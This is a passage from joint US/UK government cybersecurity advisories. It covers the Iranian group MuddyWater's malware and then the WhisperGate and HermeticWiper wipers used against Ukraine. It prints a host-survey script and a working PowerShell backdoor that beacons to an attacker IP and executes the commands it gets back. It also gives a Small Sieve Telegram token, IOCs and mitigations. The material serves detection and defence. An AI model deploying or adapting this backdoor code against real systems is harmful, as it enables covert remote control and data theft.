Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities for additional Iranian APT group-specific vulnerability exploits. Survey Script The following script is an example of a survey script used by MuddyWater to enumerate information about victim computers. It queries the Windows Management Instrumentation (WMI) service to obtain information about the compromised machine to generate a string, with these fields separated by a delimiter (e.g., ;; in this sample). The produced string is usually encoded by the MuddyWater implant and sent to an adversary-controlled IP address. $O = Get-WmiObject Win32_OperatingSystem;$S = $O.Name;$S += ";;";$ips = "";GetWmiObject Win32_NetworkAdapterConfiguration -Filter "IPEnabled=True" | % {$ips = $ips + ", " + $_.IPAddress[0]};$S += $ips.substring(1);$S += ";;";$S += $O.OSArchitecture;$S += ";;";$S += [System.Net.DNS]::GetHostByName('').HostName;$S += ";;";$S += ((Get-WmiObject Win32_ComputerSystem).Domain);$S += ";;";$S += $env:UserName;$S += ";;";$AntiVirusProducts = Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct -ComputerName $env:computername;$resAnti = @();foreach($AntiVirusProduct in $AntiVirusProducts){$resAnti += $AntiVirusProduct.displayName};$S += $resAnti;echo $S; Newly Identified PowerShell Backdoor The newly identified PowerShell backdoor used by MuddyWater below uses a single-byte ExclusiveOR (XOR) to encrypt communications with the key 0x02 to adversary-controlled infrastructure. The script is lightweight in functionality and uses the InvokeScript method to execute responses received from the adversary. function encode($txt,$key){$enByte = [Text.Encoding]::UTF8.GetBytes($txt);for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$encodetxt = [Convert]::ToBase64String($enByte);return $encodetxt;}function decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt = [System.Text.Encoding]::UTF8.GetString($enByte);return $dtxt;}$global:tt=20;while($true){try{$w = [System.Net.HttpWebRequest]::Create('http[:]//95.181.161[.]49:80/index.php?id=');$w.proxy = [Net.WebRequest]::GetSystemWebProxy();$r=(NewObject System.IO.StreamReader($w.GetResponse().GetResponseStream())).ReadToEnd();if($r.L Page 5 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA ength -gt 0){$res=[string]$ExecutionContext.InvokeCommand.InvokeScript(( decode $r 2));$wr = [System.Net.HttpWebRequest]::Create('http[:]//95.181.161[.]49:80/index.php?id=');$wr.proxy = [Net.WebRequest]::GetSystemWebProxy();$wr.Headers.Add('cookie',(encode $res 2));$wr.GetResponse().GetResponseStream();}}catch {}Start-Sleep -Seconds $global:tt;} MITRE ATT&CK TECHNIQUES MuddyWater uses the ATT&CK techniques listed in table 1. Table 1: MuddyWater ATT&CK Techniques [2] Technique Title Reconnaissance Gather Victim Identity Information: Email Addresses T1589.002 MuddyWater has specifically targeted government agency employees with spearphishing emails. Resource Development Acquire Infrastructure: Web Services T1583.006 MuddyWater has used file sharing services including OneHub to distribute tools. Obtain Capabilities: Tool T1588.002 MuddyWater has made use of legitimate tools ConnectWise and RemoteUtilities for access to target environments. Initial Access Phishing: Spearphishing Attachment T1566.001 MuddyWater has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments. Phishing: Spearphishing Link T1566.002 MuddyWater has sent targeted spearphishing emails with malicious links. Execution Windows Management Instrumentation T1047 MuddyWater has used malware that leveraged Windows Management Instrumentation for execution and querying host information. Page 6 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA Command and Scripting Interpreter: PowerShell T1059.001 MuddyWater has used PowerShell for execution. Command and Scripting Interpreter: Windows Command Shell 1059.003 Command and Scripting Interpreter: Visual Basic T1059.005 MuddyWater has used Virtual Basic Script (VBS) files to execute its POWERSTATS payload, as well as macros. Command and Scripting Interpreter: Python T1059.006 MuddyWater has used developed tools in Python including Out1. Command and Scripting Interpreter: JavaScript T1059.007 MuddyWater has used JavaScript files to execute its POWERSTATS payload. Exploitation for Client Execution T1203 User Execution: Malicious Link T1204.001 MuddyWater has distributed URLs in phishing emails that link to lure documents. User Execution: Malicious File T1204.002 MuddyWater has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails. Inter-Process Communication: Component Object Model T1559.001 MuddyWater has used malware that has the capability to execute malicious code via COM, DCOM, and Outlook. Inter-Process Communication: Dynamic Data Exchange T1559.002 MuddyWater has used malware that can execute PowerShell scripts via Dynamic Data Exchange. MuddyWater has used a custom tool for creating reverse shells. MuddyWater has exploited the Office vulnerability CVE2017-0199 for execution. Persistence Scheduled Task/Job: Scheduled Task T1053.005 MuddyWater has used scheduled tasks to establish persistence. Office Application Startup: Office Template Macros T1137.001 MuddyWater has used a Word Template, Normal.dotm, for persistence. Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1547.001 MuddyWater has added Registry Run key KCU\Software\Microsoft\Windows\CurrentVersion\R un\SystemTextEncoding to establish persistence. Page 7 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA Privilege Escalation Abuse Elevation Control Mechanism: Bypass User Account Control T1548.002 MuddyWater uses various techniques to bypass user account control. Credentials from Password Stores T1555 Credentials from Web Browsers T1555.003 MuddyWater has run tools including Browser64 to steal passwords saved in victim web browsers. MuddyWater has performed credential dumping with LaZagne and other tools, including by dumping passwords saved in victim email. Defense Evasion Obfuscated Files or Information T1027 MuddyWater has used Daniel Bohannon s InvokeObfuscation framework and obfuscated PowerShell scripts. The group has also used other obfuscation methods, including Base64 obfuscation of VBScripts and PowerShell commands. Steganography T1027.003 MuddyWater has stored obfuscated JavaScript code in an image file named temp.jpg. Compile After Delivery T1027.004 MuddyWater has used the .NET csc.exe tool to compile executables from downloaded C# code. Masquerading: Match Legitimate Name or Location T1036.005 MuddyWater has disguised malicious executables and used filenames and Registry key names associated with Windows Defender. E.g., Small Sieve uses variations of Microsoft (Microsift) and Outlook in its filenames to attempt to avoid detection during casual inspection. Deobfuscate/Decode Files or Information T1140 Signed Binary Proxy Execution: CMSTP T1218.003 MuddyWater has used CMSTP.exe and a malicious .INF file to execute its POWERSTATS payload. Signed Binary Proxy Execution: Mshta T1218.005 MuddyWater has used mshta.exe to execute its POWERSTATS payload and to pass a PowerShell oneliner for execution. Signed Binary Proxy Execution: Rundll32 T1218.011 MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll. MuddyWater decoded Base64-encoded PowerShell commands using a VBS file. Page 8 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA Execution Guardrails T1480 The Small Sieve payload used by MuddyWater will only execute correctly if the word Platypus is passed to it on the command line. Impair Defenses: Disable or Modify Tools T1562.001 MuddyWater can disable the system's local proxy settings. Credential Access OS Credential Dumping: LSASS Memory T1003.001 MuddyWater has performed credential dumping with Mimikatz and procdump64.exe. OS Credential Dumping: LSA Secrets T1003.004 MuddyWater has performed credential dumping with LaZagne. OS Credential Dumping: Cached Domain Credentials T1003.005 MuddyWater has performed credential dumping with LaZagne. Unsecured Credentials: Credentials In Files T1552.001 MuddyWater has run a tool that steals passwords saved in victim email. Discovery System Network Configuration Discovery T1016 MuddyWater has used malware to collect the victim s IP address and domain name. System Owner/User Discovery T1033 MuddyWater has used malware that can collect the victim s username. System Network Connections Discovery T1049 MuddyWater has used a PowerShell backdoor to check for Skype connections on the target machine. Process Discovery T1057 MuddyWater has used malware to obtain a list of running processes on the system. System Information Discovery T1082 MuddyWater has used malware that can collect the victim s OS version and machine name. File and Directory Discovery T1083 MuddyWater has used malware that checked if the ProgramData folder had folders or files with the keywords "Kasper," "Panda," or "ESET." Account Discovery: Domain Account T1087.002 MuddyWater has used cmd.exe net user/domain to enumerate domain users. Page 9 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA Software Discovery T1518 MuddyWater has used a PowerShell backdoor to check for Skype connectivity on the target machine. Security Software Discovery T1518.001 MuddyWater has used malware to check running processes against a hard-coded list of security tools often used by malware researchers. Collection Screen Capture T1113 MuddyWater has used malware that can capture screenshots of the victim s machine. Archive Collected Data: Archive via Utility T1560.001 MuddyWater has used the native Windows cabinet creation tool, makecab.exe, likely to compress stolen data to be uploaded. Command and Control Application Layer Protocol: Web Protocols T1071.001 MuddyWater has used HTTP for C2 communications. e.g., Small Sieve beacons and tasking are performed using the Telegram API over HTTPS. Proxy: External Proxy T1090.002 MuddyWater has controlled POWERSTATS from behind a proxy network to obfuscate the C2 location. MuddyWater has used a series of compromised websites that victims connected to randomly to relay information to Web Service: Bidirectional Communication T1102.002 MuddyWater has used web services including OneHub to distribute remote access tools. Multi-Stage Channels T1104 MuddyWater has used one C2 to obtain enumeration scripts and monitor web logs, but a different C2 to send data back. Ingress Tool Transfer T1105 MuddyWater has used malware that can upload additional files to the victim s machine. Data Encoding: Standard Encoding T1132.001 MuddyWater has used tools to encode C2 communications including Base64 encoding. Data Encoding: Non-Standard Encoding T1132.002 MuddyWater uses tools such as Small Sieve, which employs a custom hex byte swapping encoding scheme to obfuscate tasking traffic. Page 10 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE Remote Access Software FBI | CISA | CNMF | NCSC-UK | NSA T1219 MuddyWater has used a legitimate application, ScreenConnect, to manage systems remotely and move laterally. Exfiltration Exfiltration Over C2 Channel T1041 MuddyWater has used C2 infrastructure to receive exfiltrated data. MITIGATIONS Protective Controls and Architecture Deploy application control software to limit the applications and executable code that can be run by users. Email attachments and files downloaded via links in emails often contain executable code. Identity and Access Management Use multifactor authentication where possible, particularly for webmail, virtual private networks, and accounts that access critical systems. Limit the use of administrator privileges. Users who browse the internet, use email, and execute code with administrator privileges make for excellent spearphishing targets because their system once infected enables attackers to move laterally across the network, gain additional accesses, and access highly sensitive information. Phishing Protection Enable antivirus and anti-malware software and update signature definitions in a timely manner. Well-maintained antivirus software may prevent use of commonly deployed attacker tools that are delivered via spearphishing. Be suspicious of unsolicited contact via email or social media from any individual you do not know personally. Do not click on hyperlinks or open attachments in these communications. Consider adding an email banner to emails received from outside your organization and disabling hyperlinks in received emails. Train users through awareness and simulations to recognize and report phishing and social engineering attempts. Identify and suspend access of user accounts exhibiting unusual activity. Adopt threat reputation services at the network device, operating system, application, and email service levels. Reputation services can be used to detect or prevent low-reputation email addresses, files, URLs, and IP addresses used in spearphishing attacks. Vulnerability and Configuration Management Page 11 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. Prioritize patching known exploited vulnerabilities. ADDITIONAL RESOURCES For more information on Iranian government-sponsored malicious cyber activity, see CISA's webpage Iran Cyber Threat Overview and Advisories and CNMF's press release Iranian intel cyber suite of malware uses open source tools. For information and resources on protecting against and responding to ransomware, refer to StopRansomware.gov, a centralized, whole-of-government webpage providing ransomware resources and alerts. The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling. CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats, including ransomware. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors. The U.S. Department of State s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely. REFERENCES [1] CNMF Article: Iranian Intel Cyber Suite of Malware Uses Open Source Tools [2] MITRE ATT&CK: MuddyWater CAVEATS The information you have accessed or received is being provided as is for informational purposes only. The FBI, CISA, CNMF, and NSA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the FBI, CISA, CNMF, or NSA. PURPOSE This document was developed by the FBI, CISA, CNMF, NCSC-UK, and NSA in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. The United States NSA agrees with this attribution and the details provided in this report. Page 12 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA Page 13 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA APPENDIX A: IOCS The following IP addresses are associated with MuddyWater activity: 5.199.133[.]149 45.142.213[.]17 45.142.212[.]61 45.153.231[.]104 46.166.129[.]159 80.85.158[.]49 87.236.212[.]22 88.119.170[.]124 88.119.171[.]213 89.163.252[.]232 95.181.161[.]49 95.181.161[.]50 164.132.237[.]65 185.25.51[.]108 185.45.192[.]228 185.117.75[.]34 185.118.164[.]21 185.141.27[.]143 185.141.27[.]248 185.183.96[.]7 185.183.96[.]44 192.210.191[.]188 192.210.226[.]128 Page 14 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA APPENDIX B: SMALL SIEVE Note: the information contained in this appendix is from NCSC-UK analysis of a Small Sieve sample. Metadata Table 2: Gram_app.exe Metadata Filename gram_app.exe Description NSIS installer that installs and runs the index.exe backdoor and adds a persistence registry key Size 16999598 bytes 15fa3b32539d7453a9a85958b77d4c95 SHA-1 11d594f3b3cf8525682f6214acb7b7782056d282 SHA-256 b75208393fa17c0bcbc1a07857686b8c0d7e0471d00a167a07fd0d52e1fc9054 Compile Time 2021-09-25 21:57:46 UTC Table 3: Index.exe Metadata Filename index.exe Description The final PyInstaller-bundled Python 3.9 backdoor Size 17263089 bytes 5763530f25ed0ec08fb26a30c04009f1 SHA-1 2a6ddf89a8366a262b56a251b00aafaed5321992 SHA-256 bf090cf7078414c9e157da7002ca727f06053b39fa4e377f9a0050f2af37 d3a2 2021-08-01 04:39:46 UTC Compile Time Functionality Installation Small Sieve is distributed as a large (16MB) NSIS installer named gram_app.exe, which does not appear to masquerade as a legitimate application. Once executed, the backdoor binary index.exe is installed in the user s AppData/Roaming directory and is added as a Run key in the registry to enabled persistence after reboot. The installer then executes the backdoor with the Platypus argument [T1480], which is also present in the registry persistence key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift. Page 15 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA Configuration The backdoor attempts to restore previously initialized session data from %LocalAppData%\MicrosoftWindowsOutlookDataPlus.txt. If this file does not exist, then it uses the hardcoded values listed in table 4: Table 4: Credentials and Session Values Field Value Description Chat ID 2090761833 This is the Telegram Channel ID that beacons are sent to, and, from which, tasking requests are received. Tasking requests are dropped if they do not come from this channel. This value cannot be changed. Bot ID Random value between 10,000,000 and 90,000,000 This is a bot identifier generated at startup that is sent to the C2 in the initial beacon. Commands must be prefixed with /com[Bot ID] in order to be processed by the malware. Telegram Token 2003026094: AAGoitvpcx3SFZ2_6YzIs4 La_kyDF1PbXrY This is the initial token used to authenticate each message to the Telegram Bot API. Tasking Small Sieve beacons via the Telegram Bot API, sending the configured Bot ID, the currently logged-in user, and the host s IP address, as described in the Communications (Beacon format) section below. It then waits for tasking as a Telegram bot using the python-telegram-bot module. Two task formats are supported: /start no argument is passed; this causes the beacon information to be repeated. /com[BotID] [command] for issuing commands passed in the argument. The following commands are supported by the second of these formats, as described in table 5: Com Table 5: Supported Commands Command Description download url filename The URL will be fetched and saved to the provided filename using the Python urllib module urlretrieve function. delete This command causes the backdoor to exit; it does not remove persistence. Page 16 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA change token newtoken The backdoor will reconnect to the Telegram Bot API using the provided token newtoken. This updated token will be stored in the encoded MicrosoftWindowsOutlookDataPlus.txt file. disconnect The original connection to Telegram is terminated. It is likely used after a change token command is issued. Any commands other than those detailed in table 5 are executed directly by passing them to cmd.exe /c, and the output is returned as a reply. Defense Evasion Anti-Sandbox Figure 1: Execution Guardrail Threat actors may be attempting to thwart simple analysis by not passing Platypus on the command line. String obfuscation Internal strings and new Telegram tokens are stored obfuscated with a custom alphabet and Base64encoded. A decryption script is included in Appendix B. Communications Beacon Format Before listening for tasking using CommandHandler objects from the python-telegram-bot module, a beacon is generated manually using the standard requests library: Page 17 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE FBI | CISA | CNMF | NCSC-UK | NSA Figure 2: Manually Generated Beacon The hex host data is encoded using the byte shuffling algorithm as described in the Communications (Traffic obfuscation) section of this report. The example in figure 2 decodes to: admin/WINDOMAIN1 | 10.17.32.18 Traffic obfuscation Although traffic to the Telegram Bot API is protected by TLS, Small Sieve obfuscates its tasking and response using a hex byte shuffling algorithm. A Python3 implementation is shown in figure 3. Figure 3: Traffic Encoding Scheme Based on Hex Conversion and Shuffling Detection Table 6 outlines indicators of compromise. Table 6: Indicators of Compromise Type Path Description Telegram Session Persistence File (Obfuscated) Values %LocalAppData%\MicrosoftWindowsOut lookDataPlus.txt Path Installation path of the Small Sieve binary %AppData%\OutlookMicrosift\index.e Page 18 of 19 | Product ID: AA22-055A TLP: WHITE TLP:WHITE Registry value name FBI | CISA | CNMF | NCSC-UK | NSA Persistence Registry Key pointing to index.exe with Platypus argument HKCU\Software\Microsoft\Windows\Cu rrentVersion\Run\OutlookMicrosift String Recover Script Figure 4: String Recovery Script Page 19 of 19 | Product ID: AA22-055A TLP: WHITE Co-Authored by: TLP:WHITE Product ID: AA22-057A February 26, 2022 Destructive Malware Targeting Organizations in Ukraine SUMMARY Leading up to Russia s unprovoked attack against Ukraine, threat actors deployed destructive malware against organizations in Ukraine to destroy computer systems and render them inoperable. Actions to Take Today: Set antivirus and antimalware programs to conduct regular scans. Enable strong spam filters to prevent phishing emails from reaching end users. Filter network traffic. Update software. Require multifactor authentication. On January 15, 2022, the Microsoft Threat Intelligence Center (MSTIC) disclosed that malware, known as WhisperGate, was being used to target organizations in Ukraine. According to Microsoft, WhisperGate is intended to be destructive and is designed to render targeted devices inoperable. On February 23, 2022, several cybersecurity researchers disclosed that malware known as HermeticWiper was being used against organizations in Ukraine. According to Sentinel Labs, the malware targets Windows devices, manipulating the master boot record, which results in subsequent boot failure. Destructive malware can present a direct threat to an organization s daily operations, impacting the availability of critical assets and data. Further disruptive cyberattacks against organizations in Ukraine are likely to occur and may unintentionally spill over to organizations in other countries. Organizations should increase vigilance and evaluate their capabilities encompassing planning, preparation, detection, and response for such an event. This joint Cybersecurity Advisory (CSA) between the Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) provides information on WhisperGate and HermeticWiper malware as well as open-source indicators of compromise (IOCs) for organizations to detect and prevent the malware. Additionally, this joint CSA provides recommended guidance and To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field-offices, or the FBI s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see https://www.cisa.gov/tlp. TLP TLP:WHITE CISA | FBI TLP:WHITE considerations for organizations to address as part of network architecture, security baseline, continuous monitoring, and incident response practices. TECHNICAL DETAILS Threat actors have deployed destructive malware, including both WhisperGate and HermeticWiper, against organizations in Ukraine to destroy computer systems and render them inoperable. Listed below are high-level summaries of campaigns employing the malware. CISA recommends organizations review the resources listed below for more in-depth analysis and see the Mitigation section for best practices on handling destructive malware. On January 15, 2022, Microsoft announced the identification of a sophisticated malware operation targeting multiple organizations in Ukraine. The malware, known as WhisperGate, has two stages that corrupts a system s master boot record, displays a fake ransomware note, and encrypts files based on certain file extensions. Note: although a ransomware message is displayed during the attack, Microsoft highlighted that the targeted data is destroyed, and is not recoverable even if a ransom is paid. See Microsoft s blog on Destructive malware targeting Ukrainian organizations for more information and see the IOCs in table 1. Table 1: IOCs associated with WhisperGate Name File Category File Hash Source WhisperGate stage1.exe a196c6b8ffcb97ffb276d04f354696e2391311 db3841ae16c8c9f56f36a38e92 Microsoft MSTIC dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5 329958d38b58c3fd9384081c9b78 Microsoft MSTIC WhisperGate stage2.exe On February 23, 2022, cybersecurity researchers disclosed that malware known as HermeticWiper was being used against organizations in Ukraine. According to Sentinel Labs, the malware targets Windows devices, manipulating the master boot record and resulting in subsequent boot failure. Note: according to Broadcom, [HermeticWiper] has some similarities to the earlier WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware. See the following resources for more information and see the IOCs in table 2 below. ESET Research Tweet: Breaking. #ESETResearch discovered a new data wiper malware used in Ukraine today. ESET telemetry shows that it was installed on hundreds of machines in the country. Sentinel Labs: HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine Broadcom s Symantec Threat Hunter Team: Ukraine: Disk-wiping Attacks Precede Russian Invasion Page 2 of 9 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE Table 2: IOCs associated with HermeticWiper Name File Category File Hash Source Win32/KillDisk.N Trojan 912342F1C840A42F6B74132F8A7C4FFE7 D40FB77 61B25D11392172E587D8DA3045812A66C 3385451 ESET research HermeticWiper Win32 EXE 912342f1c840a42f6b74132f8a7c4ffe7d40fb Sentinel Labs HermeticWiper Win32 EXE 61b25d11392172e587d8da3045812a66c33 85451 Sentinel Labs RCDATA_DRV_ ms-compressed a952e288a1ead66490b3275a807f52e5 Sentinel Labs RCDATA_DRV_ ms-compressed 231b3385ac17e41c5bb1b1fcb59599c4 Sentinel Labs RCDATA_DRV_ XP_X64 ms-compressed 095a1678021b034903c85dd5acb447ad Sentinel Labs RCDATA_DRV_ XP_X86 ms-compressed eb845b7a16ed82bd248e395d9852f467 Sentinel Labs Trojan.Killdisk Trojan.Killdisk 1bc44eef75779e3ca1eefb8ff5a64807dbc94 2b1e4a2672d77b9f6928d292591 Symantec Threat Hunter Team Trojan.Killdisk Trojan.Killdisk 0385eeab00e946a302b24a91dea4187c121 0597b8e17cd9e2230450f5ece21da Symantec Threat Hunter Team Trojan.Killdisk Trojan.Killdisk a64c3e0522fad787b95bfb6a30c3aed1b578 6e69e88e023c062ec7e5cebf4d3e Symantec Threat Hunter Team Ransomware Trojan.Killdisk 4dc13bb83a16d4ff9865a51b3e4d24112327 c526c1392e14d56f20d6f4eaf382 Symantec Threat Hunter Team Page 3 of 9 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE MITIGATIONS Best Practices for Handling Destructive Malware As previously noted above, destructive malware can present a direct threat to an organization s daily operations, impacting the availability of critical assets and data. Organizations should increase vigilance and evaluate their capabilities, encompassing planning, preparation, detection, and response, for such an event. This section is focused on the threat of malware using enterprise-scale distributed propagation methods and provides recommended guidance and considerations for an organization to address as part of their network architecture, security baseline, continuous monitoring, and incident response practices. CISA and the FBI urge all organizations to implement the following recommendations to increase their cyber resilience against this threat. Potential Distribution Vectors Destructive malware may use popular communication tools to spread, including worms sent through email and instant messages, Trojan horses dropped from websites, and virus-infected files downloaded from peer-to-peer connections. Malware seeks to exploit existing vulnerabilities on systems for quiet and easy access. The malware has the capability to target a large scope of systems and can execute across multiple systems throughout a network. As a result, it is important for organizations to assess their environment for atypical channels for malware delivery and/or propagation throughout their systems. Systems to assess include: Enterprise applications particularly those that have the capability to directly interface with and impact multiple hosts and endpoints. Common examples include: o Patch management systems, o Asset management systems, o Remote assistance software (typically used by the corporate help desk), o Antivirus (AV) software, o Systems assigned to system and network administrative personnel, o Centralized backup servers, and o Centralized file shares. While not only applicable to malware, threat actors could compromise additional resources to impact the availability of critical data and applications. Common examples include: Centralized storage devices o Potential risk direct access to partitions and data warehouses. Network devices o Potential risk capability to inject false routes within the routing table, delete specific routes from the routing table, remove/modify configuration attributes, or destroy firmware or system binaries which could isolate or degrade availability of critical network resources. Page 4 of 9 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE Best Practices and Planning Strategies Common strategies can be followed to strengthen an organization s resilience against destructive malware. Targeted assessment and enforcement of best practices should be employed for enterprise components susceptible to destructive malware. Communication Flow Ensure proper network segmentation. Ensure that network-based access control lists (ACLs) are configured to permit server-to-host and host-to-host connectivity via the minimum scope of ports and protocols and that directional flows for connectivity are represented appropriately. o Communications flow paths should be fully defined, documented, and authorized. Increase awareness of systems that can be used as a gateway to pivot (lateral movement) or directly connect to additional endpoints throughout the enterprise. o Ensure that these systems are contained within restrictive Virtual Local Area Networks (VLANs), with additional segmentation and network access controls. Ensure that centralized network and storage devices management interfaces reside on restrictive VLANs. o Layered access control, and o Device-level access control enforcement restricting access from only pre-defined VLANs and trusted IP ranges. Access Control For enterprise systems that can directly interface with multiple endpoints: o Require multifactor authentication for interactive logons. o Ensure that authorized users are mapped to a specific subset of enterprise personnel. If possible, the Everyone, Domain Users, or the Authenticated Users groups should not be permitted the capability to directly access or authenticate to these systems. o Ensure that unique domain accounts are used and documented for each enterprise application service. Context of permissions assigned to these accounts should be fully documented and configured based upon the concept of least privilege. Provides an enterprise with the capability to track and monitor specific actions correlating to an application s assigned service account. o If possible, do not grant a service account with local or interactive logon permissions. Service accounts should be explicitly denied permissions to access network shares and critical data locations. o Accounts that are used to authenticate to centralized enterprise application servers or devices should not contain elevated permissions on downstream systems and resources throughout the enterprise. Continuously review centralized file share ACLs and assigned permissions. o Restrict Write/Modify/Full Control permissions when possible. Monitoring Audit and review security logs for anomalous references to enterprise-level administrative (privileged) and service accounts. Page 5 of 9 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE o Failed logon attempts, o File share access, and o Interactive logons via a remote session. Review network flow data for signs of anomalous activity, including: o Connections using ports that do not correlate to the standard communications flow associated with an application, o Activity correlating to port scanning or enumeration, and o Repeated connections using ports that can be used for command and control purposes. Ensure that network devices log and audit all configuration changes. o Continually review network device configurations and rule sets to ensure that communications flows are restricted to the authorized subset of rules. File Distribution When deploying patches or AV signatures throughout an enterprise, stage the distributions to include a specific grouping of systems (staggered over a pre-defined period). o This action can minimize the overall impact in the event that an enterprise patch management or AV system is leveraged as a distribution vector for a malicious payload. Monitor and assess the integrity of patches and AV signatures that are distributed throughout the enterprise. o Ensure updates are received only from trusted sources, o Perform file and data integrity checks, and o Monitor and audit as related to the data that is distributed from an enterprise application. System and Application Hardening Ensure robust vulnerability management and patching practices are in place. o CISA maintains a living catalog of known exploited vulnerabilities that carry significant risk to federal agencies as well as public and private sectors entities. In addition to thoroughly testing and implementing vendor patches in a timely and, if possible, automated manner, organizations should ensure patching of the vulnerabilities CISA includes in this catalog. Ensure that the underlying operating system (OS) and dependencies (e.g., Internet Information Services [IIS], Apache, Structured Query Language [SQL]) supporting an application are configured and hardened based upon industry-standard best practice recommendations. Implement application-level security controls based on best practice guidance provided by the vendor. Common recommendations include: o Use role-based access control, o Prevent end-user capabilities to bypass application-level security controls, For example, do not allow users to disable AV on local workstations. o Remove, or disable unnecessary or unused features or packages, and o Implement robust application logging and auditing. Page 6 of 9 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE Recovery and Reconstitution Planning A business impact analysis (BIA) is a key component of contingency planning and preparation. The overall output of a BIA will provide an organization with two key components (as related to critical mission/business operations): Characterization and classification of system components, and Interdependencies. Based upon the identification of an organization s mission critical assets (and their associated interdependencies), in the event that an organization is impacted by destructive malware, recovery and reconstitution efforts should be considered. To plan for this scenario, an organization should address the availability and accessibility for the following resources (and should include the scope of these items within incident response exercises and scenarios): Comprehensive inventory of all mission critical systems and applications: o Versioning information, o System/application dependencies, o System partitioning/storage configuration and connectivity, and o Asset owners/points of contact. Contact information for all essential personnel within the organization, Secure communications channel for recovery teams, Contact information for external organizational-dependent resources: o Communication providers, o Vendors (hardware/software), and o Outreach partners/external stakeholders Service contract numbers for engaging vendor support, Organizational procurement points of contact, Optical disc image (ISO)/image files for baseline restoration of critical systems and applications: o OS installation media, o Service packs/patches, o Firmware, and o Application software installation packages. Licensing/activation keys for OS and dependent applications, Enterprise network topology and architecture diagrams, System and application documentation, Hard copies of operational checklists and playbooks, System and application configuration backup files, Data backup files (full/differential), System and application security baseline and hardening checklists/guidelines, and System and application integrity test and acceptance checklists. Incident Response Victims of a destructive malware attacks should immediately focus on containment to reduce the scope of affected systems. Strategies for containment include: Page 7 of 9 | Product ID: AA22-057A TLP:WHITE TLP:WHITE CISA | FBI Determining a vector common to all systems experiencing anomalous behavior (or having been rendered unavailable) from which a malicious payload could have been delivered: o Centralized enterprise application, o Centralized file share (for which the identified systems were mapped or had access), o Privileged user account common to the identified systems, o Network segment or boundary, and o Common Domain Name System (DNS) server for name resolution. Based upon the determination of a likely distribution vector, additional mitigation controls can be enforced to further minimize impact: o Implement network-based ACLs to deny the identified application(s) the capability to directly communicate with additional systems, Provides an immediate capability to isolate and sandbox specific systems or resources. o Implement null network routes for specific IP addresses (or IP ranges) from which the payload may be distributed, An organization s internal DNS can also be leveraged for this task, as a null pointer record could be added within a DNS zone for an identified server or application. o Readily disable access for suspected user or service account(s), o For suspect file shares (which may be hosting the infection vector), remove access or disable the share path from being accessed by additional systems, and o Be prepared to, if necessary, reset all passwords and tickets within directories (e.g., changing golden/silver tickets). As related to incident response and incident handling, organizations are encouraged to report incidents to the FBI and CISA (see the Contact section below) and to preserve forensic data for use in internal investigation of the incident or for possible law 